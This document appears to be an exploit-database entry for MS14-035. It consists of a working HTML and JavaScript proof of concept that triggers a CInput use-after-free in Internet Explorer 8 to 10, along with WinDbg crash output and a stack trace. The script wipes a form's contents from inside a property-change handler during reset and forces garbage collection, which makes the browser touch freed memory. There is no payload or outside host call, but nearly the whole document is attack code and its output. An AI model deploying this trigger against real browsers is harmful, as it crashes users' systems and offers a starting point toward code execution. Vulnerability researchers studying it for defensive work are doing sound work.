Microsoft Internet Explorer 8/9/10 – ‘CInput’ Use-After-Free Crash (PoC) (MS14-035)
<!-- Exploit Title: MS14-035 Internet Explorer CInput Use-after-free POC Product: Internet Explorer Vulnerable version: 8,9,10 Date: 23.06.2014 Exploit Author: Drozdova Liudmila, ITDefensor Vulnerability Research Team (http://itdefensor.ru/) Vendor Homepage: http://www.microsoft.com/ Tested on: Window 7 SP1 x86 IE 7,8,9,10 CVE : unknown --> <html> <head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head> <body> <form id="testfm"> <textarea id="child" value="a1" ></textarea> <input id="child2" type="checkbox" name="option2" value="a2">Test check<Br> <textarea id="child3" value="a2" ></textarea> <input type="text" name="test1"> </form> <script> var startfl=false; function changer() { // Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element if (startfl) { document.getElementById("testfm").innerHTML = ""; // Destroy form contents, free next CInput in DoReset CollectGarbage(); } } document.getElementById("child2").checked = true; document.getElementById("child2").onpropertychange=changer; startfl = true; document.getElementById("testfm").reset(); // DoReset call </script> </body> </html> <!-- Crash details (fd4.d84): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=6a5c0704 ebx=0556b358 ecx=081c2848 edx=00000004 esi=081c2848 edi=00000002 eip=00000000 esp=025bce94 ebp=025bceb4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 00000000 ?? ??? 0:004> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 025bce90 6a5d1742 091ac108 00001200 6aafcb54 0x0 025bceb4 6a733150 0556b358 091ac108 6a73311d mshtml!CFormElement::DoReset+0xea 025bced0 6a7ef10b 0556b358 091ac108 0363d298 mshtml!Method_void_void+0x75 025bcf44 6a7fa6c6 0556b358 000003f2 00000001 mshtml!CBase::ContextInvokeEx+0x5dc 025bcf94 6a81738a 0556b358 000003f2 00000001 mshtml!CElement::ContextInvokeEx+0x9d 025bcfd0 6a79bc0e 0556b358 000003f2 00000001 mshtml!CFormElement::VersionedInvokeEx+0xf0 025bd024 6c38a26e 0363d838 000003f2 00000001 mshtml!PlainInvokeEx+0xeb 025bd060 6c38a1b9 08968530 000003f2 00000409 jscript!IDispatchExInvokeEx2+0x104 025bd09c 6c38a43a 08968530 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a 025bd15c 6c38a4e4 000003f2 00000001 00000000 jscript!InvokeDispatchEx+0x98 025bd190 6c39d9a8 08968530 025bd1c4 00000001 jscript!VAR::InvokeByName+0x139 025bd1dc 6c39da4f 08968530 00000001 00000000 jscript!VAR::InvokeDispName+0x7d 025bd208 6c39e4c7 08968530 00000000 00000001 jscript!VAR::InvokeByDispID+0xce 025bd3a4 6c395d7d 025bd3bc 025bd500 0113ca98 jscript!CScriptRuntime::Run+0x2b80 025bd48c 6c395cdb 025bd500 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xce 025bd4d4 6c395ef1 025bd500 00000000 00000000 jscript!ScrFncObj::Call+0x8d 025bd550 6c39620a 0113ca98 025bd710 00000000 jscript!CSession::Execute+0x15f 025bd59c 6c39c3b9 08987c70 025bd710 025bd720 jscript!COleScript::ExecutePendingScripts+0x1bd 025bd600 6c39c1d1 08987c70 002d346c 6a75f7b0 jscript!COleScript::ParseScriptTextCore+0x2a4 025bd628 6a75f774 08987c74 03dc016c 002d346c jscript!COleScript::ParseScriptText+0x30 --!> |